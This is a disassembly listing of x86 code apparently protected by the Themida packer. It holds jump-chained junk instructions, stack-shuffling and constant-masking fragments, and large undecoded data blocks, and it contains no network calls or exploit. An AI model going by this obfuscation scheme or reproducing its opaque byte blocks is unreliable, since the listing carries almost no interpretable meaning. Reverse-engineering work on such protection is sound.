; ---------------------------------------------------------------------------
		dd offset dword_455248+2020h
		dd 240C8900h, 0C181E189h, 4, 0FFDA13E9h, 81DBF7FFh, 2E1040EBh
		dd 0C1EB8153h, 150AAA1h, 56505BDEh, 155E8BEh, 55C68106h
		dd 89192E03h, 22685EF0h, 8900005Bh, 0AEBF243Ch,	500EC356h
		dd 0FFDADFE9h, 8B5D56FFh, 80E92434h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60C583:				; CODE XREF: Themida_:00605AE2j
		pop	esp
		jmp	loc_60C0BF
; ---------------------------------------------------------------------------
		db 29h,	0C8h, 8Bh
		dd 19E9240Ch, 81FFFFFFh, 0DE2478C6h, 5EF231F8h,	12CFEA81h
		dd 0EB816256h, 192F2245h, 3CE9D301h, 30FFFFB2h,	0EAC059CAh
		dd 5E2C007h, 0FE03E2C0h, 1FF280CAh, 1EEA80h, 24148BD3h
		dd 0FFBDC7E9h, 4C481FFh, 48000000h, 0FEBE0540h,	0C629C885h
		dd 0E924048Bh, 0FFFFE43Eh
; ---------------------------------------------------------------------------


loc_60C5E4:				; CODE XREF: Themida_:0060CEC4j
		pop	edx
		mov	dx, [esp]
		add	esp, 2
		push	ebx
		mov	bh, dl
		mov	dl, [esp+4]
		mov	[esp+4], bh
		jmp	loc_60487E
; ---------------------------------------------------------------------------
		dd 3304C083h, 70E92404h, 0FFFFFFD0h, 0AE92434h,	89FFFFDBh
		dd 8BFD89D7h, 65E9243Ch, 89FFFF83h, 88B42404h, 88E78853h
		dd 0E9585BFAh, 0FFFF8F93h
; ---------------------------------------------------------------------------


loc_60C62C:				; CODE XREF: Themida_:00608E18j
		sub	eax, esi
		pop	esi
		add	edx, eax
		jmp	loc_603E8E
; ---------------------------------------------------------------------------


loc_60C636:				; CODE XREF: Themida_:0060945Bj
		mov	ecx, 240AB1FFh
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	ecx, 12074D3h
		inc	ecx
		push	ebx
		mov	ebx, 51E62B59h
		jmp	loc_60C7D7
; ---------------------------------------------------------------------------
		dd 4E06EEC1h, 8C5EF681h, 0F30152A1h, 93EB815Eh,	0E971D72Ah
		dd 0FFFFE2C5h, 814FDFF7h, 0E76965E7h, 26F78114h, 8176A004h
		dd 64C4CBC7h, 7454E91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60C68A:				; CODE XREF: Themida_:0060609Dj
		push	ebx
		push	78F4h
		mov	[esp], esi
		push	3A8C3D8Eh
		pop	esi
		shl	esi, 1
		jmp	loc_60877A
; ---------------------------------------------------------------------------
		dd 24048F5Eh, 2404085Ch, 6C2FE99Ch, 0E958FFFFh,	0FFFF96D0h
		dd 0E951E689h, 0FFFF6D8Fh
; ---------------------------------------------------------------------------


loc_60C6BC:				; CODE XREF: Themida_:0060EA7Aj
		xchg	ebx, [esp]
		pop	esp
		push	0
		sub	[esp], eax
		pop	eax
		inc	eax
		push	edx
		mov	edx, 18EF73CEh
		not	edx
		dec	edx
		shr	edx, 3
		dec	edx
		sub	edx, 79365033h
		add	edx, 0B7B1BF0Dh
		add	eax, edx
		pop	edx
		push	eax
		pop	edx
		mov	eax, [esp]
		jmp	loc_60AC44
; ---------------------------------------------------------------------------


loc_60C6F0:				; CODE XREF: Themida_:00605C63j
		add	ebp, eax
		pop	eax
		jmp	loc_6092F2
; ---------------------------------------------------------------------------


loc_60C6F8:				; CODE XREF: Themida_:006046EEj
		mov	[esp], ebp
		jmp	loc_60AFFE
; ---------------------------------------------------------------------------
		dd 8324048Fh, 5D042404h, 4C581h, 52530000h, 41666853h
		dd 0E95B324Ah, 146Eh, 4C481h, 51530000h, 0CF8816B1h, 0A741E959h
		dd 0BD2DFFFFh, 8B1DE019h, 89512434h, 4C181E1h, 52000000h
		dd 4BAh, 5AD10100h, 5C240C87h, 81EEB81h, 0EC837512h, 24048904h
		dd 6B7FAFB8h, 0C1D8F72Fh, 0E94002E0h, 0FFFFBAB7h
; ---------------------------------------------------------------------------


loc_60C768:				; CODE XREF: Themida_:00608402j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_606AB4
; ---------------------------------------------------------------------------


loc_60C771:				; CODE XREF: Themida_:0060BE87j
		xor	edx, eax
		pop	eax
		push	esi
		mov	esi, 5EDF2846h
		jmp	loc_60CA11
; ---------------------------------------------------------------------------


loc_60C77F:				; CODE XREF: Themida_:0060342Cj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_60912F
; ---------------------------------------------------------------------------
		dw 8851h
		dd 59E888D5h, 0E958C188h, 1ED2h
; ---------------------------------------------------------------------------


loc_60C79C:				; CODE XREF: Themida_:0060A4FDj
		mov	dl, 9Bh
		push	eax
		jmp	loc_6036A0
; ---------------------------------------------------------------------------
		dd 2C481h, 0B1510000h, 0B2C980B6h, 0CFE9C9FEh
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60C7B7:				; CODE XREF: Themida_:006093E1j
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0Bh
		push	750Ah
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_60D31C
; ---------------------------------------------------------------------------


loc_60C7D7:				; CODE XREF: Themida_:0060C653j
		push	ebx
		dec	dword ptr [esp]
		pop	ebx
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 0B8D16175h
		jmp	loc_606CA2
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 0E9D2F724h, 0FFFF6D62h, 0E904EC83h, 0A34h
; ---------------------------------------------------------------------------


loc_60C800:				; CODE XREF: Themida_:0060661Cj
		push	ecx
		mov	ecx, 1332209Ah
		jmp	loc_604F2F
; ---------------------------------------------------------------------------
		db 56h
		dd 303E9h, 0E2895200h, 4C281h, 0C2810000h, 4, 8904EC83h
		dd 11E92414h, 5C000010h, 50240C89h, 752654B8h, 10AA2523h
		dd 0F7485D6Bh, 0D773E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60C842:				; CODE XREF: Themida_:006039D8j
		mov	ebx, [esp]
		jmp	loc_6056DE
; ---------------------------------------------------------------------------


loc_60C84A:				; CODE XREF: Themida_:0060F30Ej
		push	0EE0h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_6062BF
; ---------------------------------------------------------------------------


loc_60C85E:				; CODE XREF: Themida_:00609FE8j
		mov	[esp], ebx
		sub	dword ptr [esp], 4D40788Bh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	1537h
		jmp	loc_608508
; ---------------------------------------------------------------------------
		dd 0A168DFF7h, 8900007Ah, 32B82404h, 526F49A8h,	28F2E9h
		dd 0F0EB8100h, 0E922B82Dh, 0FFFFDF34h
; ---------------------------------------------------------------------------


loc_60C89C:				; CODE XREF: Themida_:0060BB0Aj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_6099CA
; ---------------------------------------------------------------------------
		db 89h
		dd 0C6882414h, 4EC81h, 4890000h, 88F48824h, 24048BE3h
		dd 4C481h, 34FF0000h, 0CF22E924h, 859FFFFh, 0E98058E1h
		dd 61F18049h, 0C8BCE30h, 4C48124h, 30000000h, 37E95AF0h
		dd 81FFFFA8h, 0E47FF7EDh, 0E9E8015Fh, 0FFFF8281h, 0EB81C301h
		dd 7E816F1h, 44D9EB81h,	8BE90C4Fh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60C907:				; CODE XREF: Themida_:006043BBj
		pop	esi
		jmp	loc_6091E9
; ---------------------------------------------------------------------------
		db 0B7h, 8Ah, 0E9h
		dd 0FFBh, 66A82CACh, 288EB551h,	2782E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60C922:				; CODE XREF: Themida_:0060783Dj
		pop	eax
		or	ecx, 4EFD2BA7h
		not	ecx
		sub	ecx, 567FBAE0h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_60DB03
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FFC172E9h, 439CBFFFh, 0DFF73655h, 0BC60EF81h, 0DCE9C9AAh
		dd 81FFFF89h, 4C4h, 55422D00h, 0F0014521h, 7010E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60C966:				; CODE XREF: Themida_:0060E51Dj
		add	esp, 4
		inc	ebx
		jmp	loc_60DC3E
; ---------------------------------------------------------------------------
		dw 0DD87h
		dd 0BCBEF581h, 0EE012E3Ch, 81242C8Bh, 4C4h, 5EF18900h
		dd 50D9F741h, 0FD12A7B8h, 0E9C1090Eh, 0FFFFFD16h
; ---------------------------------------------------------------------------


loc_60C998:				; CODE XREF: Themida_:006083C3j
		add	edi, 0F662B130h
		jmp	loc_6053D4
; ---------------------------------------------------------------------------
		db 88h
		dd 241C8BF9h, 0CBCAE956h, 0EC81FFFFh, 4, 81242489h, 42404h
		dd 2FE90000h, 5AFFFF84h, 1ED81h, 5FE90000h, 5BFFFFA9h
		dd 0B3535152h, 284CB128h, 4EE95BD9h, 89FFFF9Ch,	4832424h
		dd 575D0424h, 4BFh, 5FFD0100h, 2BE56h, 0F5010000h, 74FF555Eh
		dd 2C8B0424h, 20E95124h, 0FFFFBAh, 24048BE1h, 1767E9h
		db 0
; ---------------------------------------------------------------------------


loc_60CA11:				; CODE XREF: Themida_:0060C77Aj
		inc	esi
		sub	esi, 423E5075h
		push	edx
		jmp	loc_60CAAF
; ---------------------------------------------------------------------------
		dw 0FB01h
a_s_0		db '_',0Bh,0
		align 2


loc_60CA26:				; CODE XREF: Themida_:006052BEj
		mov	[esp], ebx
		mov	ebx, 400h
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 18F351Eh
		sub	ecx, 44AE09E9h
		dec	ecx
		jmp	loc_60B1AD
; ---------------------------------------------------------------------------


loc_60CA49:				; CODE XREF: Themida_:006067B0j
		pop	esp
		push	ebx
		push	esi
		push	2EE1h
		jmp	loc_60D467
; ---------------------------------------------------------------------------
a0txhvp		db '˲0XhP',0
		align 2
		dw 1489h
		dd 71B624h, 24148BF0h, 4E5768h,	240C8900h, 4EC81h, 24890000h
		dd 0BA3EE924h, 8B66FFFFh, 15E92404h, 0C1FFFF9Eh, 0E98102E1h
		dd 2338622Ch, 6859C801h, 6D2Ch,	0E9241C89h, 0FFFF814Ch
; ---------------------------------------------------------------------------


loc_60CAA4:				; CODE XREF: Themida_:00607ACCj
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_60EA8E
; ---------------------------------------------------------------------------


loc_60CAAF:				; CODE XREF: Themida_:0060CA19j
		mov	edx, 0B681FF4h
		jmp	loc_60D7EC
; ---------------------------------------------------------------------------
aIsh		db 'h=',0
		align 10h
		dd 50242C89h, 173964B8h, 58C58919h, 0FFF5CEE9h,	3B4BB9FFh
		dd 8CE97DA5h, 0C1FFFF6Ch, 0EA8108E2h, 0CA29E7FCh, 4C3C181h
		dd 0C1811A03h, 1A483A82h, 96E9D101h, 5FFFFD3h, 715D31DDh
		dd 0FD09E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60CB02:				; CODE XREF: Themida_:00604FFAj
		push	ebp
		jmp	loc_60E607
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0E9532414h, 0FFFFD962h, 277D6855h, 35E940AEh
		dd 0BAFFFFCFh, 57B74F4h, 7B74F868h, 0D3295B05h,	104A2D5Ah
		dd 0D801253Ch, 3C104A05h, 0C0835B25h, 0A6B3E904h, 34FFFFFFh
		dd 2434FF24h, 8B2434FFh, 0C4812404h, 4,	8304C483h, 0F16804C4h
		dd 0E9000053h, 2344h, 4BA52h, 0EB810000h, 3E1E0548h, 7CE9D301h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_60CB77:				; CODE XREF: Themida_:00608C08j
		not	esi
		push	5C5Fh
		mov	[esp], eax
		jmp	loc_60EC1F
; ---------------------------------------------------------------------------


loc_60CB86:				; CODE XREF: Themida_:0060D3BDj
		xor	ebx, 0C44AA43Ch
		and	edx, ebx
		pop	ebx
		and	edx, 7542ACBh
		jmp	loc_609198
; ---------------------------------------------------------------------------
		dw 6866h
		dd 68665D57h, 89664EB6h, 83662424h, 66022404h, 5524048Fh
		dd 0FFB86AE9h, 244401FFh, 246C8104h, 7C07B804h,	1B44E95Eh
		dd 248B0000h, 0BB0F6624h, 0E99C2404h, 0FFFFA3B0h, 24048B66h
		dd 0B7B68h, 243C8900h, 0FDE95F54h, 66FFFF9Fh, 51240C8Bh
		dd 0FFBC73E9h, 66E7E9FFh, 0EB80FFFFh, 1684E9C2h, 0FFBF0000h
		dd 1FFFFFFh, 0A3685FF9h, 8900003Eh, 0E5E92404h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60CC13:				; CODE XREF: Themida_:0060F54Ej
		xor	ebp, [esp]
		xor	[esp], ebp
		mov	eax, [esp]
		jmp	loc_603EA8
; ---------------------------------------------------------------------------
		db 59h,	5Eh, 0E9h
		dd 0FFFFD7E9h, 0A3B9515Ah, 0F756260Ch, 0A0C181D9h, 517BA60Bh
		dd 8B2414F7h, 0C483240Ch, 0FEE98104h, 1DA8000h,	240C8BC8h
		dd 0FFE181E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60CC51:				; CODE XREF: Themida_:0060EDD8j
		add	eax, ecx
		pop	ecx
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5BFD7697h
		xor	esi, 39C93783h
		sub	esp, 4
		jmp	loc_60CEDE
; ---------------------------------------------------------------------------


loc_60CC6E:				; CODE XREF: Themida_:00605C6Fj
		push	ecx
		jmp	loc_60F1FA
; ---------------------------------------------------------------------------
		dd 2B450h, 75E958E6h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60CC7F:				; CODE XREF: Themida_:0060B067j
		push	ebx
		jmp	loc_603F19
; ---------------------------------------------------------------------------
		db 1, 0CEh, 57h
		dd 1C7B56BFh, 5FFE2923h, 2BB5359h, 1000000h, 34875BDEh
		dd 1C29E924h, 89520000h, 6AE6E9F2h, 8758FFFFh, 885C240Ch
		dd 6A36E9E3h, 0EA30FFFFh, 0C9E95159h, 81000011h, 4EBh
		dd 74FF5300h, 8DE90424h, 5700001Ah, 0FFA172E9h,	0D9E956FFh
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60CCDB:				; CODE XREF: Themida_:0060D056j
		push	esi
		mov	esi, 56014641h
		shl	esi, 6
		xor	esi, 1C1F0876h
		jmp	loc_60A795
; ---------------------------------------------------------------------------
		db 54h
		dd 4C18159h, 53000000h,	4BBh, 0E771E900h, 0CA88FFFFh, 241C8B59h
		dd 0E904C483h, 374h, 5D456CB8h,	5E0C112h, 0C105E0C1h, 0D8F703E8h
		dd 892DD0F7h, 21C6775Bh, 0BA5258C1h, 661267FCh,	679AF281h
		dd 13E96E1Ah, 5400001Ah, 4C5815Dh, 81000000h, 4EDh, 74FF5500h
		dd 8F5D0424h, 0E95C2404h, 0FFFFCA66h, 0E904EC83h, 0FFFF6C7Dh
; ---------------------------------------------------------------------------


loc_60CD60:				; CODE XREF: Themida_:006097B9j
		mov	edx, 7F533668h
		add	edx, 52A176Dh
		jmp	loc_604EC1
; ---------------------------------------------------------------------------
		dd 0F7EBEF81h, 0F8011214h, 0D9FCE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60CD7E:				; CODE XREF: Themida_:0060E2A4j
		push	esi
		mov	esi, 0FFFFFFFFh
		add	ecx, esi
		jmp	loc_60B256
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFF0h, 4C4815Eh,	29000000h, 24048BC2h, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 815C240Ch, 1F49FEC2h, 81C2017Fh
		dd 1F49FEEAh, 0AA58E97Fh, 0E957FFFFh, 0FFFFD109h, 2B4864BEh
		dd 81DEF700h, 0BC6ED4EEh, 81D6F706h, 0FD4B46EEh, 0E9F201BBh
		dd 0FFFF8FD2h, 53D48850h, 0FFE117E9h, 0F2815AFFh, 0C720E19h
		dd 0B8E2814Ah, 814F7218h, 748EDFEAh, 0C500E9D7h, 0C281FFFFh
		dd 35F71008h, 81240C8Bh, 4C4h, 79B95100h, 814CEC77h, 0A8AB2EC1h
		dd 0FFCA01CAh, 83592434h, 0AEE904C4h, 0FFFFF64h, 9C2404A3h
		dd 0FF757CE9h, 0B82CACFFh, 0CEE95253h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60CE43:				; CODE XREF: Themida_:0060B684j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_606DC8
; ---------------------------------------------------------------------------
aUts_0		db 'UT<"',0
		align 2
		dw 6853h
		dd 46CC359Ah, 0FF88F9E9h, 4C481FFh, 81000000h, 2ECh, 34896600h
		dd 4EC8324h, 66243C89h,	50739BBFh, 69BBB866h, 0E9555651h
		dd 176h, 30241432h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], dx
		xchg	cl, [esp]
		push	185Ch
		mov	[esp], ecx
		not	byte ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	dh, cl
		mov	cl, [esp+4]
		mov	[esp+4], dh
		jmp	loc_60C5E4
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0DA3088B3h, 5AD0285Bh, 2850B652h, 0B7CDE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60CEDE:				; CODE XREF: Themida_:0060CC69j
		mov	[esp], ebp
		mov	ebp, 0FE6122Bh
		jmp	loc_6051F0
; ---------------------------------------------------------------------------


loc_60CEEB:				; CODE XREF: Themida_:0060D273j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_603BC6
; ---------------------------------------------------------------------------


loc_60CEF9:				; CODE XREF: Themida_:00606425j
		pop	ebp
		push	edi
		jmp	loc_607FAA
; ---------------------------------------------------------------------------
		dd 0FF243C89h, 0E9042474h, 0DDBh
; ---------------------------------------------------------------------------


loc_60CF0C:				; CODE XREF: Themida_:0060A373j
		not	edx
		jmp	loc_608CC8
; ---------------------------------------------------------------------------
		db 29h
		dd 0EFC15AD7h, 2E7C102h, 0E7C1DFF7h, 8E83E903h,	31ADFFFFh
		dd 373768D8h, 0E0E90000h, 55FFFF85h, 8501E951h,	3C68FFFFh
		dd 5D56EC3Fh, 1F86C581h, 0ED810737h, 38FC0C2Bh,	8105E5C1h
		dd 21AD98C5h, 5DEE897Bh, 12E9E6D1h, 89FFFFD6h, 4C181E1h
		dd 83000000h, 0E3E904E9h, 83FFFFEFh, 0B36804C4h, 89000075h
		dd 0D4E9240Ch, 5700001Eh, 0A678B6BFh, 1E19E934h, 0CD010000h
		dd 758C581h, 42E91ABDh
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60CF97:				; CODE XREF: Themida_:0060A906j
		mov	dl, 3Dh
		jmp	loc_605EEA
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0C4835C24h, 2344E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60CFAA:				; CODE XREF: Themida_:00604D9Dj
		push	dword ptr [ebx]
		add	dword ptr [esp], 3F997785h
		pop	ecx
		sub	ecx, 3F997785h
		pop	ebx
		push	7394h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 404325A5h
		mov	ebp, 0D9B7F10Fh
		add	ebp, ecx
		pop	ecx
		push	edx
		push	5AFAh
		mov	[esp], ebx
		mov	ebx, 22F9220Ch
		jmp	loc_606C77
; ---------------------------------------------------------------------------


loc_60CFE4:				; CODE XREF: Themida_:0060BEB9j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_60550B
; ---------------------------------------------------------------------------
		db 81h
		dd 1E0548C3h, 91C2E93Eh, 0BD66FFFFh, 8166553Bh,	664D6EF5h
		dd 665DEE89h, 0E2DAEE81h, 5EF18966h, 85F18166h,	0C8316663h
		dd 0C7016659h, 0CA21E958h, 0F988FFFFh, 6659CA88h, 0DC3FE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D032:				; CODE XREF: Themida_:0060843Fj
		add	ecx, esi
		mov	esi, [esp]
		push	esi
		jmp	loc_6043BA
; ---------------------------------------------------------------------------
		db 0FEh, 0CBh, 80h
		dd 0F380CBC3h, 5BD93047h, 88F8F180h, 0F2B5E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D052:				; CODE XREF: Themida_:00608665j
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_60CCDB
; ---------------------------------------------------------------------------
		db 68h
		dd 7B84h, 51241C89h, 0CB88E2B1h, 67EEE959h, 5D59FFFFh
		dd 7AAA7BBh, 59CB2990h,	0FFAE63E9h, 0E9E689FFh,	0FFFF7B2Dh
		dd 1B3FE959h, 895D0000h, 0B85059CAh, 4C44424Dh,	0ADE9D8F7h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D09B:				; CODE XREF: Themida_:00607009j
		mov	ebx, 2AA37FA8h
		mov	eax, 103B88B5h
		add	eax, ebx
		pop	ebx
		jmp	loc_6087DC
; ---------------------------------------------------------------------------


loc_60D0AD:				; CODE XREF: Themida_:0060B993j
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		jmp	loc_60ED94
; ---------------------------------------------------------------------------
		db 0E9h, 1Fh, 62h
		dd 5FB8FFFFh, 0E902BB0Fh, 0FFFF9F0Dh
; ---------------------------------------------------------------------------


loc_60D0C8:				; CODE XREF: Themida_:00603AEBj
		push	3DE836C8h
		pop	edi
		shl	edi, 7
		sub	edi, 624F22C4h
		inc	edi
		jmp	loc_60736C
; ---------------------------------------------------------------------------
		db 0FEh, 0CDh, 80h
		dd 0E80084EDh, 81240C8Bh, 4C4h,	0C3885300h, 585BDE88h
		dd 0FF6CA4E9h, 4C681FFh, 87000000h, 0E95C2434h,	0FFFF9186h
		dd 0FF61D0E9h, 3D7B68FFh, 0C8E90000h, 5AFFFFF8h, 0FF799BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60D11D:				; CODE XREF: Themida_:00609611j
		pop	eax
		xor	edi, 0EAD0E18h
		add	ecx, edi
		jmp	loc_60E4A3
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFE906E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60D131:				; CODE XREF: Themida_:006055D4j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		jmp	loc_606C21
; ---------------------------------------------------------------------------
		dd 39FEF181h, 0D1F73954h, 1248C181h, 0B7E92A82h, 1FFFF7Eh
		dd 243C8BF9h, 8704C483h, 815C240Ch, 6863D6C2h, 8F5228h
		dd 8124148Bh, 4C4h, 614BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D192:				; CODE XREF: Themida_:0060847Bj
		inc	edi
		xor	edi, 78162C4Bh
		sub	esi, 4D132CF3h
		sub	esi, edi
		add	esi, 4D132CF3h
		jmp	loc_6065F7
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 2, 0FF76CBE9h, 0E9D3F7FFh, 0FFFFF26Eh, 8B240433h
		dd 22E92424h, 83FFFFDBh, 256804C4h, 89000017h, 65BB241Ch
		dd 0C177D92Ch, 0BF5705EBh, 5D3775B9h, 6856DFF7h, 4646h
		dd 754E9h, 4BD00h, 0EF010000h, 0E92434FFh, 0FFFF93D0h
		dd 5204C483h, 0FF80F6E9h, 8007B2FFh, 0CAFEBCCAh, 8904EC83h
		dd 0BEB02404h, 2D0C8624h, 0D8F6C8FEh, 0A9B65266h, 0F028C72Ch
		dd 0FF716FE9h, 0E9D000FFh, 0FFFF7849h, 0E9241489h, 0FFFF8852h
; ---------------------------------------------------------------------------


loc_60D23C:				; CODE XREF: Themida_:006090C1j
		add	eax, 4
		jmp	loc_60BE95
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 0FFD021E9h, 2434FFFFh, 81240C8Bh,	4ECh, 0DE14E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D262:				; CODE XREF: Themida_:0060E059j
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, eax
		pop	eax
		add	edi, 2
		jmp	loc_60CEEB
; ---------------------------------------------------------------------------
		dd 4B9h, 59C82900h, 31240433h, 4332404h, 24248B24h, 0E9240489h
		dd 0FFFF6049h
; ---------------------------------------------------------------------------


loc_60D294:				; CODE XREF: Themida_:0060EC2Aj
		mov	eax, [esp]
		add	esp, 4
		push	3FF7h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_60D95C
; ---------------------------------------------------------------------------


loc_60D2BB:				; CODE XREF: Themida_:00608775j
		neg	eax
		not	eax
		xor	eax, 0F45EAD50h
		add	eax, 4C0F3328h
		add	eax, edx
		sub	eax, 4C0F3328h
		add	dword ptr [eax], 1
		pop	eax
		push	dword ptr [esp]
		jmp	loc_60C3B2
; ---------------------------------------------------------------------------
		db 5Eh
		dd 31242C33h, 2C33242Ch, 0FF665C24h, 0E99C240Ch, 0FFFF5FE9h
		dd 66D830ACh, 57E95052h, 0BBFFFFF7h, 3EF2235Bh,	0FFC0A4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60D309:				; CODE XREF: Themida_:0060A18Aj
		add	ebp, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_60E1CE
; ---------------------------------------------------------------------------


loc_60D31C:				; CODE XREF: Themida_:0060C7D2j
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 690706B7h
		add	ebp, 96F8F94Dh
		add	edx, ebp
		pop	ebp
		jmp	loc_60BF3F
; ---------------------------------------------------------------------------


loc_60D344:				; CODE XREF: Themida_:0060550Ej
		pop	esp
		jmp	loc_60414A
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 58CA558Eh, 6DEACE81h, 0F681718Fh, 66555022h,	295EF289h
		dd 0C6815AD6h, 36D71E1Eh, 0E225E953h, 0C201FFFFh, 0A40B850h
		dd 0E8C15D22h, 48D8F708h, 0E906E0C1h, 0FFFF91C0h, 88C78853h
		dd 0EF885BFDh, 0E9FD8859h, 0FFFF6522h, 5A2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_608AC7
; ---------------------------------------------------------------------------


loc_60D3A0:				; CODE XREF: Themida_:00605EE5j
		add	esp, 4
		shr	ecx, 1
		neg	ecx
		not	ecx
		push	edx
		mov	edx, 350C412Bh
		push	ebx
		mov	ebx, 3F9602E1h
		not	ebx
		xor	ebx, 56E95347h
		jmp	loc_60CB86
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2E2E924h, 53510000h,	241C8B59h, 4C481h, 0C1810000h
		dd 19625A94h, 0FFEF51E9h, 0E9575EFFh, 11D9h, 0DC41E943h
		dd 8B66FFFFh, 89562404h, 4C681E6h, 83000000h, 343304EEh
		dd 24343124h, 0FF958DE9h, 0EB8158FFh, 69272D9Dh, 2A68BF57h
		dd 0B9513DA7h, 72887381h, 5221E181h, 8141349Ah,	0F81AB3E9h
		dd 59CB292Bh, 0C381FB29h, 490374Fh, 81C3295Fh, 0A72A68C3h
		dd 9DC3813Dh, 5269272Dh, 0A11D9BAh, 8BD30118h, 0C4832414h
		dd 1EBA5204h, 1751208h,	6278E9D3h, 385CFFFFh, 52E99CC1h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D467:				; CODE XREF: Themida_:0060CA51j
		mov	[esp], ecx
		push	ebp
		mov	ebp, 76167325h
		jmp	loc_6059BE
; ---------------------------------------------------------------------------
		db 0C1h, 0E0h, 3
		dd 161EBE56h, 0F031500Fh, 0E924348Bh, 0FFFFF145h, 0EC815B5Eh
		dd 4, 0B8240489h, 2265D64h, 115E9h, 0F3C78100h,	81723A19h
		dd 9E74E6C7h, 5FFA89A0h, 0F3EAEA81h, 0D00144F3h, 223A2D5Ah
		dd 0F0015186h, 86223A05h, 0F268E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D4C6:				; CODE XREF: Themida_:0060B272j
		add	esp, 4
		jmp	loc_60F139
; ---------------------------------------------------------------------------


loc_60D4D1:				; CODE XREF: Themida_:0060A56Cj
		mov	[esp], eax
		jmp	loc_6078D8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E42DE924h, 0BE56FFFFh, 0C4AB0B67h, 295EF729h, 243C8BFAh
		dd 8104C483h, 0D40F77E2h, 3CC2814Ch, 31C757A3h,	2434FFD0h
		dd 0F307E95Ah, 8B66FFFFh, 0AE9240Ch, 8BFFFFAEh,	8A682414h
		dd 89000007h, 5F54243Ch, 0FFA42CE9h, 88EF81FFh,	817AEE49h
		dd 221A91EFh, 73E78120h, 8177916Bh, 0E4391BEFh,	0FFF7811Eh
		dd 0E9F7FFC8h, 0FFFF9BBFh, 0D0F7C531h, 0ABCAE995h
